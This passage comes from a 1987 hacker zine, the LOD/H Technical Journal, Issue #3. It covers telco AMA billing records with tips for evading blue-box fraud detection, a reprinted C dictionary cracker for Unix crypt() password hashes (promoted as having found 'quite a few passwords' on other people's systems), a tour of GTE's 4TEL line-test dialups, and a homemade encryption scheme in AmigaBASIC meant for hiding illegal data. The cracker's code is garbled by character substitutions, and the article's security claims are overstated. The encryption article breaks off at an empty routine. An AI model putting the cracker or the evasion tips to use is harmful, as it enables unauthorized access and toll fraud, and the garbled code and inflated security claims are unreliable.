of had thousands of SSTs on a plant measurement report, so if this option is
ACTIVE, it may not be EXTREMELY dangerous, but it can't hurt to know about
this. One possible way around the SST detect is to make your 2600Hz tone last
several seconds. I do not remember the exact figure, but after a certain
number of seconds an SST ceases to be an SST ceases to be an SST. I am not
sure if these longer transitions are logged or not, or if there is even an
option for this. However I believe that the BLUEBOX feature could not be
fooled by doing this. BLUEBOX, if activated, will detect any foreign winks
after a necessary one (necessary for call completion) occurs. Of course you
can always avoid having your DN associated with anything like this by
re-directing your call flow, which can be accomplished easily.

    Another AMA option that could be used to catch black boxers is the
UNANS-TOLL option. When this option is ACTIVE, toll calls ringing longer than
a specific period of time can be logged in an AMA record. Someone calling toll
from a DMS-100 to a person using a black box (does anyone still use devices
like the black box anyway?) in a no. 5 crossbar may trigger this option to be
logged. I say 'may' because I am not positive about this, the option could
also be used in other ways, I imagine.

    The ENFIA-B-C option is one that could possibly present a problem to a
telecom enthusiast. I have seen the term ENFIA (Exchange Network Features for
Interstate Access) associated with a Feature Group A (POTS dialup) long
distance service. ENFIA-B and C mean FG-B and FG-C service. FG-A and B (POTS
and 950+1/0xxx respectively) could possibly be used to record information
concerning toll fraud. For instance, I know of one service (FG-D and FG-B)
that has the ability to check a telcos' magnetic tape to see what numbers have
been accessing their service. If a large amount of fraud became a problem, the
carrier could get the AMA information to try and determine who is committing
toll fraud. I'm not sure if other companies have this option, I would guess
that almost all of the major companies (MCI, Sprint, Allnet, etc.) have the
ability to use something of this nature to track down security problems.

    Have you ever wondered why many of the old blue boxers were caught? It is
due to the use of AMA. AMA records can reveal boxing patterns, and this info
can be used by the telco to track down blue/red/black box users. So if you are
a person who practices any of these methods, be aware of what you are up
against. Boxing has been around for a very long time and the telco knows all
about what goes on and the different methods that people use. So use care. An
informed phreak is a free phreak.


SUMMARY
-------

    Hopefully this article has helped clear up any misconceptions about AMA
that anyone might have had, as well as provide a reference to be looked back
on. The information contained in this article can also be used for social
engineering purposes, if you so desire. However, I do not intend for any of
this information to go into harmful purposes, such as billing calls to other
people, or causing confusion and disorder at any internal points in the telco.
Such actions do not make a person a phone phreak. However, if you find out
anything interesting concerning AMA that isn't included here, or anything
about independent telcos billing systems, feel free to let me know.

    If you wish to contact me concerning this article, you can find me on a
few BBS's. I will attempt to answer any questions anyone might have, and would
like to hear from anyone who has a valid interest in the workings of the phone
systems.


===============================================================================
Thanks go out to all the people (too many to mention) who have contributed any
information (no matter how small or large) to this article. Other information
for this article has been taken from switching system messages, Bell System
Technical Journals, Bell Labs RECORDs, Bellcore documents, and various other
technical literature and information. I hope someone likes this article
because it took a very long time to complete.
===============================================================================



---------------------- Shooting Shark's PW Hacker Update ---------------------



    The following is a reprint of Shooting Sharks' post which he provides
another program which can be typed quickly or uploaded to the unix system of
your choice. This program can be used to ensure that the algorithm does work
and you could then proceed to upload his program from Issue #2 for more
extensive password finding. I was able to get his HPW.C program to run
perfectly, and have found quite a few passwords by having it check passwords
with dictionary entries and other files of probable passwords.
                                                      -Lex Luthor



Taken from: The Free World II 301-668-7657 BBS (no longer up)


%> When: 9-19-87 at 3:46 am

    Since three people have told me my source won't compile on their system,
I've taken the suggestion and put together a *very* stripped-down version of
my HPW.C program from Issue #2.  Now it's basically a 20-line engine that you
can use to verify that the algorithm does indeed work (try it with your own
password) and then add whatever bells and whistles you want (like reading
words from a file, etc.)  The version presented here just prompts the user
for the encrypted password string, and then goes into an endless loop where it
reads a password attempt from the keyboard, encrypts and compares it, and
tells the user if it's the correct password.  It calls no external routines
besides crypt(), printf(), scanf(), strcmp() and exit().  crypt() is
absolutely essential to the program, and the rest are defined in K&R so this
program had *better* work on your unix system!

    Here it is.  Sorry for the hassles the old version gave anybody although
some people were able to get it to run quite nicely.


- - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -

int     len;

char    crbuf[30], *crypt(), *pw, pwbuf[10];

main()
$


        printf("first, carefully type the ENCRYPTED password string:Xn>");
        scanf("%s",crbuf);
        printf("Now, type a password attempt at the prompt.  type QUITXn");
        printf("(yes, in caps) on a blank line to quit...XnXn");
        for (;;) $
                printf("try >");
                scanf("%s",pwbuf);
                if (!strcmp(pwbuf,"QUIT"))
                        break;
                pw = crypt(pwbuf,crbuf);
                if (!strcmp(pw,crbuf)) $
                        printf(" ==> %s is correct.Xn",pwbuf);
                        exit(0);
                
        
        printf("done.Xn");


- - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -


The LOD/H Technical Journal, Issue #3: File 05 of 11

          *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
         (L)                                               (L)
         (O)    An Overview of the Teradyne 4Tel System    (O)
         (D)                                               (D)
         (+)                       by                      (+)
         (+)                                               (+)
         (+)                  Doom Prophet                 (+)
         (L)                                               (L)
         (O)             Legion of Doom/Hackers!           (O)
         (H)                                               (H)
          *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*



    4TEL is a loop testing system mainly used by General Telephone (GTE) that
consists of a Voice Response System and a Craft Dispatch Section as well as
the facilities and equipment used for testing functions. The following text
will attempt to dispell many of the 4TEL myths that have been created in the
past years, such as the idea that it can be used to eavesdrop on lines within
its serving area. The information provided has been gained from company
publications and from personal experience. A 4TEL is not the same thing as a
REMOBS, which stands for REmote service OBservation System.



    The portion of the system that some of the phreak/hack population is
familiar with is the Voice Response System, which has normal POTS dialups.
This system greets the user with an announcement message and then asks for a
password, which is entered in DTMF tones. The legitimate use of these dialups
are for outside craft personnel (linemen) to call in, perform tests and
receive the results for subscribers' lines. The VRS is provided so craft
personnel can access the 4TEL system at times when no one is at the testboard
(at nights or weekends). Through the VRS, up to 8 craft/technicians can access
4TEL at the same time, enabling them to get more done in a smaller amount of
time.



    After a password has been accepted by the system, the electronic voice
will ask for the line number that the user wishes to be tested. The number
entered will be read back to ensure correct entry. The system will then ask
for the user to enter the mode. The modes are:


    1: Calling on other line
    2: Calling on test line
    3: Line test results


    It is possible on some VRS's to get a listing of the modes by dialing 0
when the voice prompts. Line tests are possible from both modes 1 and 2 by
dialing the octothorpe (#) key. The results of the test will be announced
along with the length of the cable in miles. Bridged ringers, if any, will
also be noted. Mode 3, the line test results section, will tell the user there
are no test results available unless they have beeen previously entered. The 7
key is the monitor command from both test modes. If there is speech on the
line, it will be detected electronically but will NOT be heard by the user.
The monitor command is not 'REMOBS' (Remote Observation) but a method of
determining if the line is busy due to normal means (conversation) or due to
some trouble condition at the switch. When the system asks for the ID code for
a monitor command, the system will accept the line number as well as the
initial password, and even a secondary password before dialing, but it has not
been determined by the author if this is a standard for every 4TEL. Not just
anything will work for the monitor password however as it will announce if the
ID code entered is invalid or not.


    If mode 1 is entered, these commands are available:


MODE ONE COMMANDS:


    1-Fault location
    2-Other Testing
    7-Test OK, monitor
    8-Hang up
    9-Enter next line number


    If option 7 is chosen, another menu will be available if the line tests
busy.


    2-Monitor test
    3-Overide and test
    4-Wait for idle


    If suboption one (Fault location), mode one, is chosen, these commands are
available:


    1-Open location
    3-Short location
    4-Cross location
    5-Ground location
    8-Hang up


    If suboption two (Other testing), mode one, is chosen, these commands are
available:


    2-Loop ground Ohms
    3-Dial tone test
    4-Pair ID
    8-Hang up



MODE TWO COMMANDS:


    2-Other testing
    7-Test OK, monitor
    8-Hang up
    9-Enter next line number


    If suboption 2 (Other testing), mode two, is selected, these commands are
available:


    2-Loop ground Ohms
    8-Hang up



    The 4TEL system's main use is for standard testing, which is done nightly
upon every line in an exchange. This locates faults and problems before they
have to be reported by customers. All lines that have trouble detected upon
them are printed out in a report at the repair center the next morning where
the proper fault location and dispatching can be done. The measurement and
test unit of the 4TEL system is called a COLT, Central Office Line Tester,
which performs all nightly and on demand testsupon the exchange through local
test trunks.


    There are a few different types of COLTs. The standard version will serve
any CO for up to 10,000 subscribers. The COLT RS is used in rural step by step
offices (referred to as 'steppers' also) for up to 1,300 lines. The Digital
COLT is used for digital Central Offices. These can have remote Colt
Measurement Units (CMU's) for remote switches which are controlled by the Colt
Computer Unit (CCU) at the host switch. The CMU speed calls the CCU at night
to start the testing and direct the operations. The CMUs in regular end
offices have digital links (over the normal telephone network) with the SAC,
which is how the line test results are distributed to the repair center.



    The 4TEL system can also test lines upon command by a human operator at
the SAC (Service Area Computer). The CRT operator enters the line number in
the proper field and 4TEL runs a full series of tests as well as displaying
past line history, fault summary, volts and current information, and the cable
length. The results of the testing are displayed in plain english, as opposed
to decimal or other format, on the screen. A dispatch decision is also
displayed after every line test to determine if a dispatch is needed.


    SAC's
    -----


    The SAC is the centralized focal point for 4TEL control and reporting.
This computer is located in the repair center and distributes test/work
information between CRT's and COLT's. The SAC formats the results of routine
testing into a daily advisory report as mentioned earlier.



    There are several types of 4TEL reports that are worth noting. The
DISPATCH report lists troubles that can  have an immediate dispatch for them.
These also tell the location of the fault (cable, CO, station, etc.) and are
classified into two types, moderate and severe, relating to how service
affecting the problem may be. The CABLE report lists all new cable faults. A
Plant Status report summarizes the condition of the outside plant and totals
them per individual exchange. In these reports, trouble conditions can be
listed in a variety of ways. CROSSES and WETS refer to line insulation faults
and may indicate water penetration of the cable. SHORTS and GROUNDS are
insulation faults at the station set. OPENS refer to a broken, or 'open' Ring
or Tip lead in a Cable Pair. BACKGROUND refers to electrical noise caused by
power lines being nearby. ABNORMAL VOLTAGE indicates high voltage conditions.
There are others, but the reader will hopefully get the idea from the ones
listed above.


    CDS
    ---


    Another major part of the 4TEL system is the Craft Dispatch System, which
is a DTMF and speech response setup used to exchange report and schedule
information between the repair center staff and outside craftspersons. Linemen
call in to get dispatch information that has been previously entered by the
dispatcher. CDS plays back the info one field at a time. When the craft
personnel is ready to receive the next field of information, he simply says
'Go' and the system continues. A printer at the repair center informs the
dispatcher when a craftsperson has received a report. When the trouble is
taken care of, a completion report is done on the CDS in which it asks for the
closeout and schedule one field at a time to be entered in DTMF and in speech.
The clerk at the repair center then closes the trouble on the SAC/4TEL system
after the line is tested a final time to ensure proper operation.


    CDS may also have audit trails of every transaction for a certain time
period. So to summarize the work flow for involving the CDS: Irate customer
calls the clerk at the repair center. The information is forwarded to the
dispatcher who enters it into CDS. Craft personnel call in and receive the
messages, do the required work, then file a completion report. The clerk then
closes out the trouble in SAC/4TEL.


    The Digital Concentrator Measurement Unit is another component of the 4TEL
testing equipment that is used to test lines in digital concentrators such as
the GTE MXU and the NTI-OPM. They are located inside Digital Loop Carrier
system remote terminals or huts and consist of a circuit board and measuring
system. It provides AC and DC measurements of subscriber loops, as well as all
the normal test/measurement functions such as fault description and location ,
dispatch messages, and special tests. The DCMU can test the lines of an
individual DLC remote terminal, or a group of terminals that are located
together. The capacity of terminals that the DCMU can test is determined by
analysis of test traffic and economic factors as well. Both the CRT at the SAC
and the VRS are compatible with the DCMU. These units are self calibrating,
unlike the PMU's of an LMOS supported Loop Testing System. The 4TEL CCU is
linked to the DCMU via either a 1200 baud dial up or a dedicated link,
depending upon the size of the office.



    Some of the tests that 4TEL performs are loop and ground resistance (which
detects resistance faults and sheath ground problems), dial tone test (in
which the number of times dial tone can be drawn during a certain period is
recorded) , busy line monitoring (not BLV or REMOBS), coin station tests
(totalizer, coin relay, etc), as well as all the standard tests which were
covered above. A pair identification can also be done, in which a tone is
placed on the pair to help those at terminal cabinets locate that specific
one, similar to the LMOS/MLT tone applique function.



    Miscellaneous notes
    -------------------


    If a user enters the number of the 4TEL system they have dialed in upon,
the system will announce an intercept. A user cannot monitor/test Directory
Assistance through 4TEL. Lines that are out of the system's NPA can be tested
also, but a 1 has to be dialed before the number just like an ordinary toll
call. The 4TEL VRS will give the user a 'beep' tone after a few seconds of
waiting for input. If the user doesn't enter anything, the VRS will
disconnect.  A version of 4TEL is also used by Rochester Telephone in New
York, and there may be other independent companies that  use the system. Try
to find out what system you're served by. If you're in a Bell area, it will
most likely not be 4TEL, but LMOS.



 I  hope that this article has helped readers to better understand the way the
4TEL system operates. Again, there may be some differences depending upon the
area and the company. Thanks go to Taran King, Phantom Phreaker, and Lucifer
666 for supplying information in one way or another that contributed to this
file.


Doom Prophet/LOD
The LOD/H Technical Journal, Issue #3: File 06 of 11

              |||||||||||||||||||||||||||||||||||||||||||||||||||
+-+-+-+-+-+-+/                                                   X+-+-+-+-+-+-+
 X  L  X        Secure Data Encryption with Cellular Automatons        /  L  /
   X  O  X                                                           /  O  /
     X  D  X                          by                           /  D  /
       +-+-+-+                                                   +-+-+-+
         X  L  X                  The Mentor                   /  L  /
           X  O  X                                           /  O  /
             X  H  X    A Legion of Doom Presentation!     /  H  /

               +-+-+-+                                   +-+-+-+
                X_X_X_X_________________________________/_/_/_/


     One of the key issues that concerns anyone who has sensitive or illegal
information on their computer system is preventing unauthorized access to this
information.  Even if you hit a key that deletes everything on the hard disk
when you see that four-door sedan pull up in the driveway, any idiot with
Norton's Utilities (IBM) or Copy II+ (Apple) can recover anything that's on
your drive with minimal effort.  A delete command only changes a flag in the
VTOC (volume table of contents), it doesn't actually *remove* the file from
your system.
     There are two methods to ensure that your data can't be read by a sector
editor or recovered by NU.  The first is to overwrite everything with a NULL
(FF) or anything else for that matter.  I've seen one batch file that does a
global delete, creates a file that says 'EAT HOT DEATH', and then begins
copying it until disk space is full.  Unfortunately, you can't always guarantee
that you will be able to get to your computer before someone else does.
      The second method is to encrypt your data.  Most people have visions of
data encryption being some sort of arcane process akin to summoning demons or
talking with Dead Cow Cult members (two closely related process- es.)  In
practice, it isn't that difficult.  This file is intended to show some very
short programs that will encrypt data beyond the ability of any- thing short of
a dedicated mainframe to crack.

     How to use:  The code examples I provide will be in MicroSoft's
AmigaBASIC.  It is fairly generic and you should be able to convert it over to
IBM, //e,c,gs, Mac, ST, C64, or any flavor of mainframe you like.  For those of
you setting up systems on Packet-Switched Networks (such as the LOD/H system
one of our members is implementing) data encryption should be considered
absolutely necessary to maintain security.
      The terseness of the routines make them easy to insert in a bulletin
board also, although conversion into C or Assembly would be necessary for
decent speed.

      Intro to Cryptography:  Long before computers were around, there was a
need for data security.  Everyone used lemon juice as 'invisible ink' when they
were a kid, heating it over a candle to bring it out.  And everyone has seen
the substitution code where "A" = 1, B = "2", "Z" = 26, etc...
      The easiest form of encryption involves a variation of the previous.
First of all, don't think of A = 1 as a substitution, think of it as a
remapping.  Let's say we have a language made up of the five vowels, and we
wanted to remap them to the numbers 1-5.  Our map would look like this:
"AEIOU12345" and our mapping function would be f(c) = POSITION(c) + x where c =
the letter to map and x is the key (in this case 5.)  So every time we needed
to encrypt a letter, we would take its position in the map, add 5 to it, and
come up with the character to substitute.  For the entire alphabet, the mapping
function would be f(c) = POS(c) + 26 for the map "A..Z,1..26".
       Your map should be composed of all the characters that will be used for
encryption.  In a text only encrypter, this will consist of all the printable
characters your machine can use.  The same method can be used to encrypt binary
files, but it's not as clear as text only for a teaching example.
       The problem with this simple form of encryption is that your average C64
could crack it in a matter of minutes.  Enter into the next level of
cryptography, random numbers.
       During World War II the Allied Forces created a system to generate
random electric noise, recorded this noise onto a wax cylinder, and scram- bled
radio transmissions by mixing the seemingly random noise with the voice
transmission.  The soldiers in the field needed an imprint of the same cylinder
to be able to understand the message.  Think of the wax cy- linder as a
'filter' for the crypted message.
       A random number generator can be easily used to encrypt data providing
you realize the following-  a random number generator on a computer is not
really random.  If you initialize the generator with the same seed value on two
seperate occasions, it will return the same sequence of psuedo- random
numbers.  Most BASIC's use the RANDOMIZE <seed> command to start the generator
off.  If you leave off the seed, they get a seed from the system clock or some
other fairly random source, providing a much truer random selection.  But by
declaring the seed yourself, you can be sure that you will be able to reference
this same string of numbers, a string that is very hard to figure out without
the key (seed.)
        Program Listing 1 is an example of a BASIC encrypt/decrypt system that
uses the built-in random number generator include on the machine (or language
implementation.)

Program Listing 1
-----------------

REM ************************************************************************
REM
REM  Ok, this is an example of very basic encryption.  It takes the input
REM  string and the input key and processes them using the machine's built
REM  in random number generator.  This version is written in AmigaBASIC 1.2.
REM  It can be compacted quite a bit by writting it in C, but it's an easy
REM  algorithm to crack.
REM
REM ************************************************************************

INPUT "String to be encoded"; C$
INPUT "Key Please! ";K


REM ************************************************************************
REM
REM  When you use the RANDOMIZE command, it seeds the random number gener-
REM  ator with the key K.  *EVERY* time you seed the generator with the same
REM  value, you will get the same sequence of psuedo-random numbers.  Since
REM  the built in random-number generator uses a linear algorithm to gener-
REM  ate the sequence, it's easy (relatively) to crack.
REM
REM ************************************************************************

RANDOMIZE K

REM ************************************************************************
REM
REM  The only difference between encoding and decoding is which way you
REM  move in your Q$ array space.  Encoding takes the original and shifts
REM  to the right, decoding takes the codes value and shifts to the left.
REM
REM ************************************************************************

REREAD:
  INPUT "Encode or Decode ? ";A$
  A$=LEFT$(A$,1)
  IF A$="E" OR A$="e" THEN
    A=1
    GOTO HEAD
  END IF
  IF A$="D" OR A$="d" THEN
     A=-1
  ELSE
     GOTO REREAD
  END IF

REM ************************************************************************
REM
REM  Q$ contains all the characters that can be encoded.  Every encoded
REM  character will be mapped to a character in this array.  I haven't
REM  included any non-standard characters, so you will have to customize
REM  it to your particular keyboard/system.  I've included an error check
REM  that will abort the encryption if it encounters a character that isn't
REM  in Q$.  I have to use the STRING$ command to insert the spacebar and
REM  the quote into the string.  It could also be done with a ASC(##) in
REM  many basics.  You could expand this to include any non-printable
REM  characters you'd like so you could do non-text files.
REM
REM ************************************************************************

HEAD:
  SPACE = 32
  QUOTE = 34
  Q$="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  Q$=Q$+"1234567890!@#$%^&*()-=_+[]$;:'.,<>/?X|D"
  Q$=Q$+STRING$(1,SPACE)+STRING$(1,QUOTE)
  QSIZ = LEN(Q$)

REM ************************************************************************
REM
REM  This is the main loop.  L = length of the string to encrypt.  In this
REM  example, I am only encrypting a single string.  Most people who will
REM  actually use this will change the FOR loop to run until an EOF is
REM  encountered in the input file.  Since the syntax for that will vary
REM  widely from system to system, I'll leave it out.
REM
REM ************************************************************************

L=LEN(C$)
FOR I = 1 TO L

REM /* Finds the character I in the input string */
  X$ = MID$(C$,I,1)

REM /* Finds the integer location of the character in Q$
REM    returns variable POZ */
  GOSUB LOKPOZ

REM /* RND returns a random # between 0 and 1.  Multiply it by the
REM    size of array Q$ and you get the number of positions to move
REM    when encoding or decoding. */
  POZMV = (RND * QSIZ)

REM /* If you are encoding, you will shift to the right using addition.
REM    you take the modula base QSIZ to keep the new character within
REM    the bounds of Q$. */
  IF A = 1 THEN
    NUPOZ = (POZ + POZMV) MOD QSIZ
  ELSE
REM /* Otherwise, you subtract, which takes a bit more math to keep
REM    up with.  Once you have the distance to shift, you must
REM    convert it to a positive integer and then subtract two to
REM    account for the head & tail of the array. */
    NUPOZ = (POZ - POZMV) MOD QSIZ
    NUPOZ = NUPOZ -2
    IF NUPOZ < 1 THEN
      NUPOZ = QSIZ - ABS(NUPOZ)
    END IF
  END IF

REM /* Now you assign the new character in array Q$ to Y$, and append
REM    it to your converted string */
  IF NUPOZ < 1 THEN
    NUPOZ = QSIZ - ABS(NUPOZ)
  END IF
  Y$ = MID$(Q$,NUPOZ,1)
  D$ = D$ + Y$
NEXT I

PRINT  "Original = ";C$
PRINT  "Modified = ";D$
END

REM /* This finds character X$ in array Q$ and returns an integer
REM    value of the location.  Called from the main loop. */
LOKPOZ:
  FOUND = 0
  POZ = 1
  TOP:
    IF FOUND = 1 THEN
      RETURN
    ELSE
      TMP$ = MID$(Q$,POZ,1)
      IF X$ = TMP$ THEN
        FOUND = 1
      END IF
      POZ = POZ + 1
      IF POZ > QSIZ THEN
        PRINT  "Error: Character '";X$"' not in array Q."
        END
      END IF
    END IF
  GOTO TOP

REM **********************************************************************

End of Program Listing 1

        This method, while extremely simple, tight, and fast, is not fool-
proof.  Most computers use the following algorithm for generating pseudo-
random number sequences: x(t+1) = ax(t) + b
        x(t+1) = next random number
        x(t) = previous random number
        a & b are constants that will cause a fairly even distribution

        For example, if you were using a three-bit system (8 possible postive
integers) you might make a = 3 & b = 7 (there's a reason behind using prime
numbers that is beyond the scope of this file.)  If you seed the argument with
RANDOMIZE 5 you would get the following:
First x: x = 3*5 + 7 | Since we're restricting ourselves to three bits, and
         22 won't fit in three bits, we'd need to perform a modula 8 on the
         number. (Modulo divides x by eight and keeps the remainder as the
         new value of x.)  So  MOD(22,8) is equal to 6 (16 + 6 = 22).

         Ok, let's do some simple mapping using our vowel set and the above
three-bit random number generator.  Let's say that the message reads "AAEOU"
Our first random number was 6.  Our map looks like "AEIOU12345".  POS(A) + 6
gives us 2 as the character.
Second x: x = 3*6 + 7 | MOD (25,8) = 1 | POS(A) + 1 gives us E.
Third  x: x = 3*1 + 7 | MOD (10,8) = 2 | POS(E) + 2 gives us O.
Fourth x: x = 3*2 + 7 | MOD (13,8) = 5 | POS(O) + 5 gives us 4.
Fifth  x: x = 3*5 + 7 | MOD (22,8) = 6 | POS(U) + 6 wraps around the map to A.

         So our original "AAEOU" is crytped into "2E04A".  This may at first
seem difficult to crack since 'A' mapped into a '2' on one pass and an 'E' on
the other, thus preventing a freuquency analysis from breaking the code.
        Unfortunately, if someone knows the random number algorithm, they can
easily hack out the key.  Since most of the people using this will be using it
on a pc, it would be trivial to get another pc to hack it out.  And even if you
protect your random number algorithm, it is still a straight linear algebra
problem that an AT could work on over a weekend and probably figure it out,
especially if there is a fairly small map to work with.

          Solution: What we need to do is combine the random mapping with a
random number generator that is tougher to figure out.  Enter cellular
automatons.
          CA's were first invented in the 1940's when John von Neumann (he of
the famous bottleneck) started to explore the mathmatic implications of very
simple machines.  CA's are made of geometric patterns of cells that change
their state at each tick of a clock according to a fixed rule.  Early work
provided automatons that could imitate a basic computer.  Since the CA's are
inherently parallel (the entire geometry is updated each clock tick) and easy
to put on a chip, there is speculation that the next generation of parallel
processing computers will use CA's as a base rather than the Turing machine
model.
           You have probably seen a CA at work and not realized it if you've
ever seen the computer graphic simulation 'LIFE' developed by John Conway at
MIT to model real organisms.  The rule for automaton reproduction was incr-
edibly simple: If a cell has two or three neighbors, no change in the cell.
Fewer or more neighbors, it starves or is overcrowded to death, and repro-
duction occurs when a blank space has exactly three neighbors.
        Using these simple rules, incredibly complex patterns can be produced.
Anything that can produce complex and varied results from a small algorithm is
a good target for a random number application.  Enter Steven Wolfram from the
Institute of Advanced Studies in Princeton, NJ.
        Wolfram has been doing research on one-dimensional cellular machines,
which have the advantage of being able to work with both todays machines and
future parallel machines.  Wolfram has developed an automaton that is a one
dimensional circular array modified by the rule:

        a(x,t) = a(x-1,t-1) XOR (a(x,t-1) OR a(x+1,t-1)) MOD k

        Where x is the position in the array and t is the time,
        k is the number of available characters (k = LEN(Q$)),
        and a is the one-dimensional array.

        This rule has several interesting properties.  The problem we had with
linear algorithms was that simple algebra could be used to analyze the
evolution of the algorithm (the patterns produced.)  All that you have to do is
figure out how *one* cell evolves, then apply that pattern across the entire
array.  In the above case, there is no way of analyzing the array at time t
without loading the initial conditions and running the whole thing.
        The second thing to note is that there are k to the power of w (where w
is the width (number of cells) in array a) possible states the machine can be
in, and not all of these states have a predecessor that generates it.  These
states are called 'Garden of Eden' states, and can only occur if they are set
as an ititial condition.
         As a result, this rule is neither a one-to-one mathmatical mapping,
nor is it and onto mapping of the set of arrays into itself.  In laymans'
terms, this means that for any given array state it is impossible to tell what
(if any) previous state generated it by mere pattern analysis.
         While this isn't a file on breaking codes- about the only way to crack
this one that's been discovered is to load *every* k**w state into memory and
page through them searching for a pattern.  This method can be defeated easily
by setting w to more than 30 cells (assuming k=256, all the ASCII characters.)
If you are using my array Q$, you might want to set w to 40 or more.  Since 256
to the 30th power is about a zillion bits, roughly equal to the largest memory
bank in existence, there isn't much chance of anyone breaking it.  For the
truly paranoid, set w to 50 and sleep easy at night.

         Anyway, back to the algorithm...

        Each of the cells is filled on one of the k integers from 0 to k-1,
giving each cell k possible states.  Wolfram found that the string of bits
occupying the 0 position (a(0,1), a(0,2), a(0,3)...) forms a random sequence
that passes all statistical tests, sometimes with better results than standard
DES algorithms.
        Let's break this down and see what it's doing.  First of all, we will
need two arrays.  Each array is set up thus:

                        Array for Time One
        |------|       |------|       |------|      |------|
  |---->|a(0,1)|------>|a(1,1)|------>|a(2,1)|----->|a(3,1)|-----|
  |     |------|       |------|       |------|      |------|     |
  |--------------------------------------------------------------|

                        Array for Time Two
        |------|       |------|       |------|      |------|
  |---->|a(0,2)|------>|a(1,2)|------>|a(2,2)|----->|a(3,2)|-----|
  |     |------|       |------|       |------|      |------|     |
  |--------------------------------------------------------------|

        The reason we need two arrays is so you can update the array without
destroying anything in it.  In other words, you start out with array 1 active,
then you update the array into array 2 and change the active array to 2.  On
the next clock tick you will update the active array (now 2) into the inactive
one (now 1) and set the active array back to 1.  You keep swapping like this.
Logically, you only have one array- the active one.
         To initialize the array, the ASCII values of each character in the key
are plugged into the first LEN(KEY$) spaces in the array.  If you want to use a
short key, modify the code to fill the *entire* array with values of the key
(keep repeating a loop from 1 to W pulling characters out of K).  Since the key
can be anything printable, use something 10-20 characters long that you can
remember- "HACK TO LIVE, LIVE TO HACK" is one of my favorites.  Anyway, if you
use a short (less than 10) key in this program, the distri- bution will be
skewed for the first W MOD LEN(KEY$) itereations of the automaton, but will
smooth out nicely after that.
          After the array is filled, it operates exactly like the first program
*except* when it need a random number of positions to move.  Then it drops
down, updates each cell in the automaton, and then reads the value in A(0,time)
as the random number to shift by.
          Let's look at the modified encryption code.

REM ************************************************************************
REM
REM  This is an modification of Program 1 that doesn't use a machine
REM  specific random number generator, but instead uses a cellular automaton
REM  algorithm.  W is the width of the actual automaton.  A is dimensioned
REM  at 32 to avoid having to reference element 0 of the array, which is
REM  legal on some systems and illegal on the others.  This way it can
REM  be implemented on anything.  Y is set for time 1, Y1 for time 2.
REM  These correspond to the second dimension in array A.
REM
REM ************************************************************************

W = 30
DIM A(32,2)
Y = 1
Y1 = 2

REM ************************************************************************
REM
REM  Once again, you can set this up to use files instead of strings. And
REM  note that, unlike the first example, the key doesn't have to be
REM  numeric.
REM
REM ************************************************************************

INPUT "String to be encoded"; C$
INPUT "Key Please! (Can be alpha-numeric) ";K$


REM ************************************************************************
REM
REM  This is where K$ is broken down into a series of characters and their
REM  ASCII value shoved sequentially into array A.
REM
REM ************************************************************************

FOR I = 1 TO LEN(K$)
  T$ = MID$(K$,I,1)
  A(I,Y1) = ASC(T$)
NEXT I


REM ************************************************************************
REM
REM  The only difference between encoding and decoding is which way you
REM  move in your Q$ array space.  Encoding takes the original and shifts
REM  to the right, decoding takes the codes value and shifts to the left.
REM
REM ************************************************************************

REREAD:
  INPUT "Encode or Decode ? ";A$
  A$=LEFT$(A$,1)
  IF A$="E" OR A$="e" THEN
    A=1
    GOTO HEAD
  END IF
  IF A$="D" OR A$="d" THEN
     A=-1
  ELSE
     GOTO REREAD
  END IF

REM ************************************************************************
REM
REM  Q$ contains all the characters that can be encoded.  Every encoded
REM  character will be mapped to a character in this array.  I haven't
REM  included any non-standard characters, so you will have to customize
REM  it to your particular keyboard/system.  I've included an error check
REM  that will abort the encryption if it encounters a character that isn't
REM  in Q$.  I have to use the STRING$ command to insert the spacebar and
REM  the quote into the string.  It could also be done with a ASC(##) in
REM  many basics.  You could expand this to include any non-printable
REM  characters you'd like so you could do non-text files.
REM
REM ************************************************************************

HEAD:
  SPACE = 32
  QUOTE = 34
  Q$="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  Q$=Q$+"1234567890!@#$%^&*()-=_+[]$;:'.><,/?X|"
  Q$=Q$+STRING$(1,SPACE)+STRING$(1,QUOTE)
  QSIZ = LEN(Q$)


REM ************************************************************************
REM
REM  This is the main loop.  L = length of the string to encrypt.  In this
REM  example, I am only encrypting a single string.  Most people who will
REM  actually use this will change the FOR loop to run until an EOF is
REM  encountered in the input file.  Since the syntax for that will vary
REM  widely from system to system, I'll leave it out.
REM
REM ************************************************************************

L=LEN(C$)
FOR H = 1 TO L

REM /* Finds the character I in the input string */
  X$ = MID$(C$,H,1)

REM /* Finds the integer location of the character in Q$
REM    returns variable POZ */
  GOSUB LOKPOZ

REM /* CELLULAR updates the cells in the automaton, switches the active
REM    time value, and returns X as the number of positions to shift. */
  GOSUB CELLULAR

REM /* If you are encoding, you will shift to the right using addition.
REM    you take the modula base QSIZ to keep the new character within
REM    the bounds of Q$. */
  IF A = 1 THEN
    NUPOZ = (POZ + X) MOD QSIZ
  ELSE

REM /* Otherwise, you subtract, which takes a bit more math to keep
REM    up with.  Once you have the distance to shift, you must
REM    convert it to a positive integer and then subtract two to
REM    account for the head & tail of the array. */
    NUPOZ = (POZ - X) MOD QSIZ
    NUPOZ = NUPOZ - 2
      IF NUPOZ < 1 THEN
        NUPOZ = QSIZ - ABS(NUPOZ)
      END IF
    END IF

REM /* Now you assign the new character in array Q$ to Y$, and append
REM    it to your converted string */
  IF NUPOZ < 1 THEN
    NUPOZ = QSIZ - ABS(NUPOZ)
  END IF
  Y$ = MID$(Q$,NUPOZ,1)
  D$ = D$ + Y$
NEXT H

PRINT  "Original = ";C$
PRINT  "Modified = ";D$
END

REM /* This finds character X$ in array Q$ and returns an integer
REM    value of the location.  Called from the main loop. */
LOKPOZ:
  FOUND = 0
  POZ = 1
  TOP:
    IF FOUND = 1 THEN
      RETURN
    ELSE
      TMP$ = MID$(Q$,POZ,1)
      IF X$ = TMP$ THEN
        FOUND = 1
      END IF
      POZ = POZ + 1
      IF POZ > QSIZ THEN
        PRINT  "Error: Character '";X$"' not in array Q."
        END
      END IF
    END IF
  GOTO TOP

REM ***********************************************************************
REM
REM  This is the cellular automaton
REM
REM ***********************************************************************

CELLULAR:

